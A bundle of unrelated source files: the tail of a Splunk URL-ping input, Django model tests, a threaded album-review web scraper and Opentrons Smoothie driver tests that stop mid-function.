unbroken=True, close=True, proxy_server=proxy_server, proxy_port=proxy_port, proxy_user=proxy_user, proxy_type=proxy_type) # Get the time that the input last ran last_ran = self.last_ran(input_config.checkpoint_dir, stanza) # Save the checkpoint so that we remember when we last ran the input self.save_checkpoint(input_config.checkpoint_dir, stanza, self.get_non_deviated_last_run(last_ran, interval, stanza)) # Don't scan the URL if the URL is unencrypted and the host is on Cloud if self.is_on_cloud(input_config.session_key) and not url.scheme == "https": self.logger.warn("The URL will not be scanned because the host is running on Splunk Cloud and the URL isn't using encryption, url=%s", url.geturl()) # Don't scan the URL if the host is SHC and elif self.is_on_cloud(input_config.session_key) and not url.scheme == "https": self.logger.warn("The URL will not be scanned because the host is running on Splunk Cloud and the URL isn't using encryption, url=%s", url.geturl()) # If this is not running in multi-threading mode, then run it now in the main thread elif self.thread_limit <= 1: run_ping() # If the number of threads is at or above the limit, then wait until the number of # threads comes down elif len(self.threads) >= self.thread_limit: self.logger.warn("Thread limit has been reached and thus this execution will be skipped for stanza=%s, thread_count=%i", stanza, len(self.threads)) # Execute the input as a separate thread else: # Start a thread t = threading.Thread(name='web_ping:' + stanza, target=run_ping) self.threads[stanza] = t t.start() self.logger.info("Added thread to the queue for stanza=%s, thread_count=%i", stanza, len(self.threads)) if __name__ == '__main__': web_ping = None try: web_ping = WebPing() web_ping.execute() sys.exit(0) except Exception as e: # This logs general exceptions that would have been unhandled otherwise (such as coding # errors) if web_ping is not None and web_ping.logger is not None: web_ping.logger.exception("Unhandled exception was caught, this may be due to a defect in the script") else: raise e
tests.py
import threading from datetime import datetime, timedelta from django.core.exceptions import MultipleObjectsReturned, ObjectDoesNotExist from django.db import DEFAULT_DB_ALIAS, DatabaseError, connections from django.db.models.manager import BaseManager from django.db.models.query import EmptyQuerySet, QuerySet from django.test import ( SimpleTestCase, TestCase, TransactionTestCase, skipIfDBFeature, skipUnlessDBFeature, ) from django.utils.translation import gettext_lazy from .models import Article, ArticleSelectOnSave, FeaturedArticle, SelfRef class ModelInstanceCreationTests(TestCase): def test_object_is_not_written_to_database_until_save_was_called(self): a = Article( id=None, headline='Parrot programs in Python', pub_date=datetime(2005, 7, 28), ) self.assertIsNone(a.id) self.assertEqual(Article.objects.all().count(), 0) # Save it into the database. You have to call save() explicitly. a.save() self.assertIsNotNone(a.id) self.assertEqual(Article.objects.all().count(), 1) def test_can_initialize_model_instance_using_positional_arguments(self): """ You can initialize a model instance using positional arguments, which should match the field order as defined in the model. """ a = Article(None, 'Second article', datetime(2005, 7, 29)) a.save() self.assertEqual(a.headline, 'Second article') self.assertEqual(a.pub_date, datetime(2005, 7, 29, 0, 0)) def test_can_create_instance_using_kwargs(self): a = Article( id=None, headline='Third article', pub_date=datetime(2005, 7, 30), ) a.save() self.assertEqual(a.headline, 'Third article') self.assertEqual(a.pub_date, datetime(2005, 7, 30, 0, 0)) def test_autofields_generate_different_values_for_each_instance(self): a1 = Article.objects.create(headline='First', pub_date=datetime(2005, 7, 30, 0, 0)) a2 = Article.objects.create(headline='First', pub_date=datetime(2005, 7, 30, 0, 0)) a3 = Article.objects.create(headline='First', pub_date=datetime(2005, 7, 30, 0, 0)) self.assertNotEqual(a3.id, a1.id) self.assertNotEqual(a3.id, a2.id) def test_can_mix_and_match_position_and_kwargs(self): # You can also mix and match position and keyword arguments, but # be sure not to duplicate field information. a = Article(None, 'Fourth article', pub_date=datetime(2005, 7, 31)) a.save() self.assertEqual(a.headline, 'Fourth article') def test_cannot_create_instance_with_invalid_kwargs(self): with self.assertRaisesMessage(TypeError, "'foo' is an invalid keyword argument for this function"): Article( id=None, headline='Some headline', pub_date=datetime(2005, 7, 31), foo='bar', ) def test_can_leave_off_value_for_autofield_and_it_gets_value_on_save(self): """ You can leave off the value for an AutoField when creating an object, because it'll get filled in automatically when you save(). """ a = Article(headline='Article 5', pub_date=datetime(2005, 7, 31)) a.save() self.assertEqual(a.headline, 'Article 5') self.assertIsNotNone(a.id) def test_leaving_off_a_field_with_default_set_the_default_will_be_saved(self): a = Article(pub_date=datetime(2005, 7, 31)) a.save() self.assertEqual(a.headline, 'Default headline') def test_for_datetimefields_saves_as_much_precision_as_was_given(self): """as much precision in *seconds*""" a1 = Article( headline='Article 7', pub_date=datetime(2005, 7, 31, 12, 30), ) a1.save() self.assertEqual(Article.objects.get(id__exact=a1.id).pub_date, datetime(2005, 7, 31, 12, 30)) a2 = Article( headline='Article 8', pub_date=datetime(2005, 7, 31, 12, 30, 45), ) a2.save() self.assertEqual(Article.objects.get(id__exact=a2.id).pub_date, datetime(2005, 7, 31, 12, 30, 45)) def test_saving_an_object_again_does_not_create_a_new_object(self): a = Article(headline='original', pub_date=datetime(2014, 5, 16)) a.save() current_id = a.id a.save() self.assertEqual(a.id, current_id) a.headline = 'Updated headline' a.save() self.assertEqual(a.id, current_id) def test_querysets_checking_for_membership(self): headlines = [ 'Parrot programs in Python', 'Second article', 'Third article'] some_pub_date = datetime(2014, 5, 16, 12, 1) for headline in headlines: Article(headline=headline, pub_date=some_pub_date).save() a = Article(headline='Some headline', pub_date=some_pub_date) a.save() # You can use 'in' to test for membership... self.assertIn(a, Article.objects.all()) # ... but there will often be more efficient ways if that is all you need: self.assertTrue(Article.objects.filter(id=a.id).exists()) class ModelTest(TestCase): def test_objects_attribute_is_only_available_on_the_class_itself(self): with self.assertRaisesMessage(AttributeError, "Manager isn't accessible via Article instances"): getattr(Article(), "objects",) self.assertFalse(hasattr(Article(), 'objects')) self.assertTrue(hasattr(Article, 'objects')) def test_queryset_delete_removes_all_items_in_that_queryset(self): headlines = [ 'An article', 'Article One', 'Amazing article', 'Boring article'] some_pub_date = datetime(2014, 5, 16, 12, 1) for headline in headlines: Article(headline=headline, pub_date=some_pub_date).save() self.assertQuerysetEqual( Article.objects.all().order_by('headline'), ["<Article: Amazing article>", "<Article: An article>", "<Article: Article One>", "<Article: Boring article>"] ) Article.objects.filter(headline__startswith='A').delete() self.assertQuerysetEqual(Article.objects.all().order_by('headline'), ["<Article: Boring article>"]) def test_not_equal_and_equal_operators_behave_as_expected_on_instances(self): some_pub_date = datetime(2014, 5, 16, 12, 1) a1 = Article.objects.create(headline='First', pub_date=some_pub_date) a2 = Article.objects.create(headline='Second', pub_date=some_pub_date) self.assertNotEqual(a1, a2) self.assertEqual(a1, Article.objects.get(id__exact=a1.id)) self.assertNotEqual(Article.objects.get(id__exact=a1.id), Article.objects.get(id__exact=a2.id)) @skipUnlessDBFeature('supports_microsecond_precision') def test_microsecond_precision(self): # In PostgreSQL, microsecond-level precision is available. a9 = Article( headline='Article 9', pub_date=datetime(2005, 7, 31, 12, 30, 45, 180), ) a9.save() self.assertEqual(Article.objects.get(pk=a9.pk).pub_date, datetime(2005, 7, 31, 12, 30, 45, 180)) @skipIfDBFeature('supports_microsecond_precision') def test_microsecond_precision_not_supported(self): # In MySQL, microsecond-level precision isn't always available. You'll # lose microsecond-level precision once the data is saved. a9 = Article( headline='Article 9', pub_date=datetime(2005, 7, 31, 12, 30, 45, 180), ) a9.save() self.assertEqual( Article.objects.get(id__exact=a9.id).pub_date, datetime(2005, 7, 31, 12, 30, 45), ) @skipIfDBFeature('supports_microsecond_precision') def test_microsecond_precision_not_supported_edge_case(self): # In MySQL, microsecond-level precision isn't always available. You'll # lose microsecond-level precision once the data is saved. a = Article.objects.create( headline='Article', pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999), ) self.assertEqual( Article.objects.get(pk=a.pk).pub_date, datetime(2008, 12, 31, 23, 59, 59), ) def test_manually_specify_primary_key(self): # You can manually specify the primary key when creating a new object. a101 = Article( id=101, headline='Article 101', pub_date=datetime(2005, 7, 31, 12, 30, 45), ) a101.save() a101 = Article.objects.get(pk=101) self.assertEqual(a101.headline, 'Article 101') def test_create_method(self): # You can create saved objects in a single step a10 = Article.objects.create( headline="Article 10", pub_date=datetime(2005, 7, 31, 12, 30, 45), ) self.assertEqual(Article.objects.get(headline="Article 10"), a10) def test_year_lookup_edge_case(self): # Edge-case test: A year lookup should retrieve all objects in # the given year, including Jan. 1 and Dec. 31. Article.objects.create( headline='Article 11', pub_date=datetime(2008, 1, 1), ) Article.objects.create( headline='Article 12', pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999), ) self.assertQuerysetEqual( Article.objects.filter(pub_date__year=2008), ["<Article: Article 11>", "<Article: Article 12>"] ) def test_unicode_data(self): # Unicode data works, too. a = Article( headline='\u6797\u539f \u3081\u3050\u307f', pub_date=datetime(2005, 7, 28), ) a.save() self.assertEqual(Article.objects.get(pk=a.id).headline, '\u6797\u539f \u3081\u3050\u307f') def test_hash_function(self): # Model instances have a hash function, so they can be used in sets # or as dictionary keys. Two models compare as equal if their primary # keys are equal. a10 = Article.objects.create( headline="Article 10", pub_date=datetime(2005, 7, 31, 12, 30, 45), ) a11 = Article.objects.create( headline='Article 11', pub_date=datetime(2008, 1, 1), ) a12 = Article.objects.create( headline='Article 12', pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999), ) s = {a10, a11, a12} self.assertIn(Article.objects.get(headline='Article 11'), s) def test_extra_method_select_argument_with_dashes_and_values(self): # The 'select' argument to extra() supports names with dashes in # them, as long as you use values(). Article.objects.create( headline="Article 10", pub_date=datetime(2005, 7, 31, 12, 30, 45), ) Article.objects.create( headline='Article 11', pub_date=datetime(2008, 1, 1), ) Article.objects.create( headline='Article 12', pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999), ) dicts = Article.objects.filter( pub_date__year=2008).extra( select={'dashed-value': '1'}).values('headline', 'dashed-value') self.assertEqual( [sorted(d.items()) for d in dicts], [[('dashed-value', 1), ('headline', 'Article 11')], [('dashed-value', 1), ('headline', 'Article 12')]] ) def test_extra_method_select_argument_with_dashes(self): # If you use 'select' with extra() and names containing dashes on a # query that's *not* a values() query, those extra 'select' values # will silently be ignored. Article.objects.create( headline="Article 10", pub_date=datetime(2005, 7, 31, 12, 30, 45), ) Article.objects.create( headline='Article 11', pub_date=datetime(2008, 1, 1), ) Article.objects.create( headline='Article 12', pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999), ) articles = Article.objects.filter( pub_date__year=2008).extra(select={'dashed-value': '1', 'undashedvalue': '2'}) self.assertEqual(articles[0].undashedvalue, 2) def test_create_relation_with_gettext_lazy(self): """ gettext_lazy objects work when saving model instances through various methods. Refs #10498. """ notlazy = 'test' lazy = gettext_lazy(notlazy) Article.objects.create(headline=lazy, pub_date=datetime.now()) article = Article.objects.get() self.assertEqual(article.headline, notlazy) # test that assign + save works with Promise objects article.headline = lazy article.save() self.assertEqual(article.headline, notlazy) # test .update() Article.objects.update(headline=lazy) article = Article.objects.get() self.assertEqual(article.headline, notlazy) # still test bulk_create() Article.objects.all().delete() Article.objects.bulk_create([Article(headline=lazy, pub_date=datetime.now())]) article = Article.objects.get() self.assertEqual(article.headline, notlazy) def test_emptyqs(self): msg = "EmptyQuerySet can't be instantiated" with self.assertRaisesMessage(TypeError, msg): EmptyQuerySet() self.assertIsInstance(Article.objects.none(), EmptyQuerySet) self.assertNotIsInstance('', EmptyQuerySet) def test_emptyqs_values(self): # test for #15959 Article.objects.create(headline='foo', pub_date=datetime.now()) with self.assertNumQueries(0): qs = Article.objects.none().values_list('pk') self.assertIsInstance(qs, EmptyQuerySet) self.assertEqual(len(qs), 0) def test_emptyqs_customqs(self): # A hacky test for custom QuerySet subclass - refs #17271 Article.objects.create(headline='foo', pub_date=datetime.now()) class CustomQuerySet(QuerySet): def do_something(self): return 'did something' qs = Article.objects.all() qs.__class__ = CustomQuerySet qs = qs.none() with self.assertNumQueries(0): self.assertEqual(len(qs), 0) self.assertIsInstance(qs, EmptyQuerySet) self.assertEqual(qs.do_something(), 'did something') def test_emptyqs_values_order(self): # Tests for ticket #17712 Article.objects.create(headline='foo', pub_date=datetime.now()) with self.assertNumQueries(0): self.assertEqual(len(Article.objects.none().values_list('id').order_by('id')), 0) with self.assertNumQueries(0): self.assertEqual(len(Article.objects.none().filter( id__in=Article.objects.values_list('id', flat=True))), 0) @skipUnlessDBFeature('can_distinct_on_fields') def test_emptyqs_distinct(self): # Tests for #19426 Article.objects.create(headline='foo', pub_date=datetime.now()) with self.assertNumQueries(0): self.assertEqual(len(Article.objects.none().distinct('headline', 'pub_date')), 0) def test_ticket_20278(self): sr = SelfRef.objects.create() with self.assertRaises(ObjectDoesNotExist): SelfRef.objects.get(selfref=sr) def test_eq(self): self.assertEqual(Article(id=1), Article(id=1)) self.assertNotEqual(Article(id=1), object()) self.assertNotEqual(object(), Article(id=1)) a = Article() self.assertEqual(a, a) self.assertNotEqual(Article(), a) def test_hash(self): # Value based on PK self.assertEqual(hash(Article(id=1)), hash(1)) msg = 'Model instances without primary key value are unhashable' with self.assertRaisesMessage(TypeError, msg): # No PK value -> unhashable (because save() would then change # hash) hash(Article()) def test_delete_and_access_field(self): # Accessing a field after it's deleted from a model reloads its value. pub_date = datetime.now() article = Article.objects.create(headline='foo', pub_date=pub_date) new_pub_date = article.pub_date + timedelta(days=10) article.headline = 'bar' article.pub_date = new_pub_date del article.headline with self.assertNumQueries(1): self.assertEqual(article.headline, 'foo') # Fields that weren't deleted aren't reloaded. self.assertEqual(article.pub_date, new_pub_date) class ModelLookupTest(TestCase): def setUp(self): # Create an Article. self.a = Article( id=None, headline='Swallow programs in Python', pub_date=datetime(2005, 7, 28), ) # Save it into the database. You have to call save() explicitly. self.a.save() def test_all_lookup(self): # Change values by changing the attributes, then calling save(). self.a.headline = 'Parrot programs in Python' self.a.save() # Article.objects.all() returns all the articles in the database. self.assertQuerysetEqual(Article.objects.all(), ['<Article: Parrot programs in Python>']) def test_rich_lookup(self): # Django provides a rich database lookup API. self.assertEqual(Article.objects.get(id__exact=self.a.id), self.a) self.assertEqual(Article.objects.get(headline__startswith='Swallow'), self.a) self.assertEqual(Article.objects.get(pub_date__year=2005), self.a) self.assertEqual(Article.objects.get(pub_date__year=2005, pub_date__month=7), self.a) self.assertEqual(Article.objects.get(pub_date__year=2005, pub_date__month=7, pub_date__day=28), self.a) self.assertEqual(Article.objects.get(pub_date__week_day=5), self.a) def test_equal_lookup(self): # The "__exact" lookup type can be omitted, as a shortcut. self.assertEqual(Article.objects.get(id=self.a.id), self.a) self.assertEqual(Article.objects.get(headline='Swallow programs in Python'), self.a) self.assertQuerysetEqual( Article.objects.filter(pub_date__year=2005), ['<Article: Swallow programs in Python>'], ) self.assertQuerysetEqual( Article.objects.filter(pub_date__year=2004), [], ) self.assertQuerysetEqual( Article.objects.filter(pub_date__year=2005, pub_date__month=7), ['<Article: Swallow programs in Python>'], ) self.assertQuerysetEqual( Article.objects.filter(pub_date__week_day=5), ['<Article: Swallow programs in Python>'], ) self.assertQuerysetEqual( Article.objects.filter(pub_date__week_day=6), [], ) def test_does_not_exist(self): # Django raises an Article.DoesNotExist exception for get() if the # parameters don't match any object. with self.assertRaisesMessage(ObjectDoesNotExist, "Article matching query does not exist."): Article.objects.get(id__exact=2000,) # To avoid dict-ordering related errors check only one lookup # in single assert. with self.assertRaises(ObjectDoesNotExist): Article.objects.get(pub_date__year=2005, pub_date__month=8) with self.assertRaisesMessage(ObjectDoesNotExist, "Article matching query does not exist."): Article.objects.get(pub_date__week_day=6,) def test_lookup_by_primary_key(self): # Lookup by a primary key is the most common case, so Django # provides a shortcut for primary-key exact lookups. # The following is identical to articles.get(id=a.id). self.assertEqual(Article.objects.get(pk=self.a.id), self.a) # pk can be used as a shortcut for the primary key name in any query. self.assertQuerysetEqual(Article.objects.filter(pk__in=[self.a.id]), ["<Article: Swallow programs in Python>"]) # Model instances of the same type and same ID are considered equal. a = Article.objects.get(pk=self.a.id) b = Article.objects.get(pk=self.a.id) self.assertEqual(a, b) def test_too_many(self): # Create a very similar object a = Article( id=None, headline='Swallow bites Python', pub_date=datetime(2005, 7, 28), ) a.save() self.assertEqual(Article.objects.count(), 2) # Django raises an Article.MultipleObjectsReturned exception if the # lookup matches more than one object msg = "get() returned more than one Article -- it returned 2!" with self.assertRaisesMessage(MultipleObjectsReturned, msg): Article.objects.get(headline__startswith='Swallow',) with self.assertRaisesMessage(MultipleObjectsReturned, msg): Article.objects.get(pub_date__year=2005,) with self.assertRaisesMessage(MultipleObjectsReturned, msg): Article.objects.get(pub_date__year=2005, pub_date__month=7) class ConcurrentSaveTests(TransactionTestCase): available_apps = ['basic'] @skipUnlessDBFeature('test_db_allows_multiple_connections') def test_concurrent_delete_with_save(self): """ Test fetching, deleting and finally saving an object - we should get an insert in this case. """ a = Article.objects.create(headline='foo', pub_date=datetime.now()) exceptions = [] def deleter(): try: # Do not delete a directly - doing so alters its state. Article.objects.filter(pk=a.pk).delete() except Exception as e: exceptions.append(e) finally: connections[DEFAULT_DB_ALIAS].close() self.assertEqual(len(exceptions), 0) t = threading.Thread(target=deleter) t.start() t.join() a.save() self.assertEqual(Article.objects.get(pk=a.pk).headline, 'foo') class ManagerTest(SimpleTestCase): QUERYSET_PROXY_METHODS = [ 'none', 'count', 'dates', 'datetimes', 'distinct', 'extra', 'get', 'get_or_create', 'update_or_create', 'create', 'bulk_create', 'filter', 'aggregate', 'annotate', 'complex_filter', 'exclude', 'in_bulk', 'iterator', 'earliest', 'latest', 'first', 'last', 'order_by', 'select_for_update', 'select_related', 'prefetch_related', 'values', 'values_list', 'update', 'reverse', 'defer', 'only', 'using', 'exists', '_insert', '_update', 'raw', 'union', 'intersection', 'difference', ] def test_manager_methods(self): """ This test ensures that the correct set of methods from `QuerySet` are copied onto `Manager`. It's particularly useful to prevent accidentally leaking new methods into `Manager`. New `QuerySet` methods that should also be copied onto `Manager` will need to be added to `ManagerTest.QUERYSET_PROXY_METHODS`. """ self.assertEqual( sorted(BaseManager._get_queryset_methods(QuerySet)), sorted(self.QUERYSET_PROXY_METHODS), ) class SelectOnSaveTests(TestCase): def test_select_on_save(self): a1 = Article.objects.create(pub_date=datetime.now()) with self.assertNumQueries(1): a1.save() asos = ArticleSelectOnSave.objects.create(pub_date=datetime.now()) with self.assertNumQueries(2): asos.save() with self.assertNumQueries(1): asos.save(force_update=True) Article.objects.all().delete() with self.assertRaisesMessage(DatabaseError, 'Forced update did not affect any rows.'): with self.assertNumQueries(1): asos.save(force_update=True) def test_select_on_save_lying_update(self): """ select_on_save works correctly if the database doesn't return correct information about matched rows from UPDATE. """ # Change the manager to not return "row matched" for update(). # We are going to change the Article's _base_manager class # dynamically. This is a bit of a hack, but it seems hard to # test this properly otherwise. Article's manager, because # proxy models use their parent model's _base_manager. orig_class = Article._base_manager._queryset_class class FakeQuerySet(QuerySet): # Make sure the _update method below is in fact called. called = False def _update(self, *args, **kwargs): FakeQuerySet.called = True super()._update(*args, **kwargs) return 0 try: Article._base_manager._queryset_class = FakeQuerySet asos = ArticleSelectOnSave.objects.create(pub_date=datetime.now()) with self.assertNumQueries(3): asos.save() self.assertTrue(FakeQuerySet.called) # This is not wanted behavior, but this is how Django has always # behaved for databases that do not return correct information # about matched rows for UPDATE. with self.assertRaisesMessage(DatabaseError, 'Forced update did not affect any rows.'): asos.save(force_update=True) msg = ( "An error occurred in the current transaction. You can't " "execute queries until the end of the 'atomic' block." ) with self.assertRaisesMessage(DatabaseError, msg): asos.save(update_fields=['pub_date']) finally: Article._base_manager._queryset_class = orig_class class ModelRefreshTests(TestCase): def _truncate_ms(self, val): # MySQL < 5.6.4 removes microseconds from the datetimes which can cause # problems when comparing the original value to that loaded from DB return val - timedelta(microseconds=val.microsecond) def test_refresh(self): a = Article.objects.create(pub_date=self._truncate_ms(datetime.now())) Article.objects.create(pub_date=self._truncate_ms(datetime.now())) Article.objects.filter(pk=a.pk).update(headline='new headline') with self.assertNumQueries(1): a.refresh_from_db() self.assertEqual(a.headline, 'new headline') orig_pub_date = a.pub_date new_pub_date = a.pub_date + timedelta(10) Article.objects.update(headline='new headline 2', pub_date=new_pub_date) with self.assertNumQueries(1): a.refresh_from_db(fields=['headline']) self.assertEqual(a.headline, 'new headline 2') self.assertEqual(a.pub_date, orig_pub_date) with self.assertNumQueries(1): a.refresh_from_db() self.assertEqual(a.pub_date, new_pub_date) def test_unknown_kwarg(self): s = SelfRef.objects.create() msg = "refresh_from_db() got an unexpected keyword argument 'unknown_kwarg'" with self.assertRaisesMessage(TypeError, msg): s.refresh_from_db(unknown_kwarg=10) def test_refresh_fk(self): s1 = SelfRef.objects.create() s2 = SelfRef.objects.create() s3 = SelfRef.objects.create(selfref=s1) s3_copy = SelfRef.objects.get(pk=s3.pk) s3_copy.selfref.touched = True s3.selfref = s2 s3.save() with self.assertNumQueries(1): s3_copy.refresh_from_db() with self.assertNumQueries(1): # The old related instance was thrown away (the selfref_id has # changed). It needs to be reloaded on access, so one query # executed. self.assertFalse(hasattr(s3_copy.selfref, 'touched')) self.assertEqual(s3_copy.selfref, s2) def test_refresh_null_fk(self): s1 = SelfRef.objects.create() s2 = SelfRef.objects.create(selfref=s1) s2.selfref = None s2.refresh_from_db() self.assertEqual(s2.selfref, s1) def test_refresh_unsaved(self): pub_date = self._truncate_ms(datetime.now()) a = Article.objects.create(pub_date=pub_date) a2 = Article(id=a.pk) with self.assertNumQueries(1): a2.refresh_from_db() self.assertEqual(a2.pub_date, pub_date) self.assertEqual(a2._state.db, "default") def test_refresh_fk_on_delete_set_null(self): a = Article.objects.create( headline='Parrot programs in Python', pub_date=datetime(2005, 7, 28), ) s1 = SelfRef.objects.create(article=a) a.delete() s1.refresh_from_db() self.assertIsNone(s1.article_id) self.assertIsNone(s1.article) def test_refresh_no_fields(self): a = Article.objects.create(pub_date=self._truncate_ms(datetime.now())) with self.assertNumQueries(0): a.refresh_from_db(fields=[]) def test_refresh_clears_reverse_related(self): """refresh_from_db() clear cached reverse relations.""" article = Article.objects.create( headline='Parrot programs in Python', pub_date=datetime(2005, 7, 28), ) self.assertFalse(hasattr(article, 'featured')) FeaturedArticle.objects.create(article_id=article.pk) article.refresh_from_db() self.assertTrue(hasattr(article, 'featured'))
spider.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import random import threading import time from bs4 import BeautifulSoup import requests from util import * from util.browserconfig import HEADERS class Spider(object): def __init__(self, review_site, db, table): self.db = db self.table = table self.review_site = review_site self.base_url = self.review_site.base_url self.index_url = self.base_url + self.review_site.index_endp self.pages_range = self.review_site.pages_range self.range_log = self.review_site.range_log self.urls_log = self.review_site.urls_log self.scrape_urls = self.review_site.scrape_urls self.scrape_album_data = self.review_site.scrape_album_data self.urls = self.review_site.urls self.index_only = self.review_site.index_only self.n_threads = os.cpu_count() * 10 # self.n_threads = 1 self.threads = [] self.pages_scraped = set() self.data = [] print("Initialized spider for '{}' with {} threads (max)".format( type(self.review_site).__name__, self.n_threads)) def split_list(self, seq): length = len(seq) return [seq[i * length // self.n_threads: (i + 1) * length // self.n_threads] for i in range(self.n_threads)] def parse_urls(self, pages_range): if len(pages_range) > 1: thread_name = threading.current_thread().name iprint("{}: Scraping URLs from pages ({}, {})".format( thread_name, pages_range[0], pages_range[-1])) for page_num in pages_range: iprint("{}: Index page {}...".format(thread_name, page_num)) page = requests.get( self.index_url.format(page_num), HEADERS).text soup = BeautifulSoup(page, "html.parser") self.scrape_urls(soup) self.pages_scraped.add(page_num) def get_urls(self): pages_ranges = self.split_list(self.pages_range) for data_ix in range(len(pages_ranges)): t = threading.Thread( target=self.parse_urls, args=(pages_ranges[data_ix],)) self.threads.append(t) t.start() for threads in self.threads: iprint("{} threads still active".format(threading.active_count())) threads.join() sprint("Scraped {} URLs".format(len(self.urls))) print(threading.active_count()) self._dump_mem(self.urls_log, self.urls) self._dump_mem(self.range_log, missing_elements( sorted(self.pages_scraped)), False) iprint("Dumped URLs to '{}'".format(self.urls_log)) def parse_album_data(self, urls): thread_name = threading.current_thread().name while urls: page_url = urls.pop() iprint("{}: Scraping '/{}/' {} pages left".format( thread_name, page_url, len(urls) + 1)) time.sleep(random.uniform(1.0, 3.0)) sesh = requests.Session() try: page = sesh.get(self.base_url + page_url, headers=HEADERS).text soup = BeautifulSoup(page, "html.parser") if self.index_only: self.data.extend(self.scrape_album_data(soup)) self.pages_scraped.add(page_url) else: self.data.append(self.scrape_album_data(soup)) except Exception as e: eprint("ERROR IN THREAD {} -> {}: {}".format( thread_name, e.__class__.__name__, e)) break def get_album_data(self): urls = self.split_list(self.urls) for data_ix in range(len(urls)): t = threading.Thread( target=self.parse_album_data, args=(urls[data_ix],)) self.threads.append(t) t.start() for threads in self.threads: iprint("{} threads still active".format(threading.active_count())) threads.join() sprint("Scraped {} pages".format(len(self.data))) iprint("{} pages left".format(len(self.urls))) self._dump_mem(self.urls_log, self.urls) iprint("Dumped URLs to '{}'".format(self.urls_log)) self.db.insert(self.table, self.data) def _dump_mem(self, log_file, log_data, urls=True): with open(log_file, "w") as log_fp: if urls: log_fp.write("\n".join(log_data)) else: log_fp.write(" ".join(log_data))
test_driver.py
from copy import deepcopy from threading import Thread from unittest.mock import Mock import pytest from time import sleep from numpy import isclose from opentrons.trackers import pose_tracker from tests.opentrons.conftest import fuzzy_assert from opentrons.config.robot_configs import DEFAULT_GANTRY_STEPS_PER_MM from opentrons.drivers import serial_communication, utils, types from opentrons.drivers.smoothie_drivers import driver_3_0 def position(x, y, z, a, b, c): return {axis: value for axis, value in zip('XYZABC', [x, y, z, a, b, c])} def test_update_position(smoothie, monkeypatch): driver = smoothie def _new_send_message(self, command, timeout=None): return 'ok MCS: X:0.0000 Y:0.0000 Z:0.0000 A:0.0000 B:0.0000 C:0.0000' monkeypatch.setattr(driver, '_send_command', _new_send_message) driver.update_position() expected = { 'X': 0, 'Y': 0, 'Z': 0, 'A': 0, 'B': 0, 'C': 0 } assert driver.position == expected count = 0 def _new_send_message2(self, command, timeout=None): nonlocal count # first attempt to read, we get bad data msg = 'ok MCS: X:0.0000 Y:MISTAKE Z:0.0000 A:0.0000 B:0.0000 C:0.0000' if count > 0: # any following attempts to read, we get good data msg = msg.replace('Y:MISTAKE', 'Y:0.0000') count += 1 return msg monkeypatch.setattr(driver, '_send_command', _new_send_message2) driver.update_position() expected = { 'X': 0, 'Y': 0, 'Z': 0, 'A': 0, 'B': 0, 'C': 0 } assert driver.position == expected def test_remove_serial_echo(smoothie, monkeypatch): smoothie.simulating = False def return_echo_response(command, ack, connection, timeout, tag=None): if 'some-data' in command: return command + 'TESTS-RULE' return command monkeypatch.setattr(serial_communication, 'write_and_return', return_echo_response) cmd = 'G28.2B' res = smoothie._send_command( cmd, driver_3_0.SMOOTHIE_ACK) assert res == '' res = smoothie._send_command( '\r\n' + cmd + '\r\n\r\n', driver_3_0.SMOOTHIE_ACK) assert res == '' res = smoothie._send_command( '\r\n' + cmd + '\r\n\r\nsome-data\r\nok\r\n', driver_3_0.SMOOTHIE_ACK) assert res == 'TESTS-RULE' def return_echo_response(command, ack, connection, timeout, tag=None): if 'some-data' in command: return command.strip() + '\r\nT\r\nESTS-RULE' return command monkeypatch.setattr(serial_communication, 'write_and_return', return_echo_response) res = smoothie._send_command( '\r\n' + cmd + '\r\n\r\nsome-data\r\nok\r\n', driver_3_0.SMOOTHIE_ACK) assert res == 'TESTS-RULE' def test_parse_position_response(smoothie): good_data = 'ok M114.2 X:10 Y:20: Z:30 A:40 B:50 C:60' bad_data = 'ok M114.2 X:10 Y:20: Z:30A:40 B:50 C:60' res = driver_3_0._parse_position_response(good_data) expected = { 'X': 10, 'Y': 20, 'Z': 30, 'A': 40, 'B': 50, 'C': 60, } assert res == expected with pytest.raises(driver_3_0.ParseError): driver_3_0._parse_position_response(bad_data) def test_dwell_and_activate_axes(smoothie, monkeypatch): command_log = [] smoothie._setup() smoothie.simulating = False def write_with_log(command, ack, connection, timeout, tag=None): command_log.append(command.strip()) return driver_3_0.SMOOTHIE_ACK def _parse_position_response(arg): return smoothie.position monkeypatch.setattr(serial_communication, 'write_and_return', write_with_log) monkeypatch.setattr( driver_3_0, '_parse_position_response', _parse_position_response) smoothie.activate_axes('X') smoothie._set_saved_current() smoothie.dwell_axes('X') smoothie._set_saved_current() smoothie.activate_axes('XYBC') smoothie._set_saved_current() smoothie.dwell_axes('XC') smoothie._set_saved_current() smoothie.dwell_axes('BCY') smoothie._set_saved_current() expected = [ ['M907 A0.1 B0.05 C0.05 X1.25 Y0.3 Z0.1 G4P0.005'], ['M400'], ['M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005'], ['M400'], ['M907 A0.1 B0.05 C0.05 X1.25 Y1.25 Z0.1 G4P0.005'], ['M400'], ['M907 A0.1 B0.05 C0.05 X0.3 Y1.25 Z0.1 G4P0.005'], ['M400'], ['M907 A0.1 B0.05 C0.05 X0.3 Y0.3 Z0.1 G4P0.005'], ['M400'], ] fuzzy_assert(result=command_log, expected=expected) def test_disable_motor(smoothie, monkeypatch): command_log = [] smoothie.simulating = False def write_with_log(command, ack, connection, timeout, tag=None): command_log.append(command.strip()) return driver_3_0.SMOOTHIE_ACK def _parse_position_response(arg): return smoothie.position monkeypatch.setattr(serial_communication, 'write_and_return', write_with_log) monkeypatch.setattr( driver_3_0, '_parse_position_response', _parse_position_response) smoothie.disengage_axis('X') smoothie.disengage_axis('XYZ') smoothie.disengage_axis('ABCD') expected = [ ['M18X'], ['M400'], ['M18[XYZ]+'], ['M400'], ['M18[ABC]+'], ['M400'], ] fuzzy_assert(result=command_log, expected=expected) def test_plunger_commands(smoothie, monkeypatch): command_log = [] smoothie._setup() smoothie.home() smoothie.simulating = False def write_with_log(command, ack, connection, timeout, tag=None): command_log.append(command.strip()) return driver_3_0.SMOOTHIE_ACK def _parse_position_response(arg): return smoothie.position monkeypatch.setattr( serial_communication, 'write_and_return', write_with_log) monkeypatch.setattr( driver_3_0, '_parse_position_response', _parse_position_response) smoothie.home() 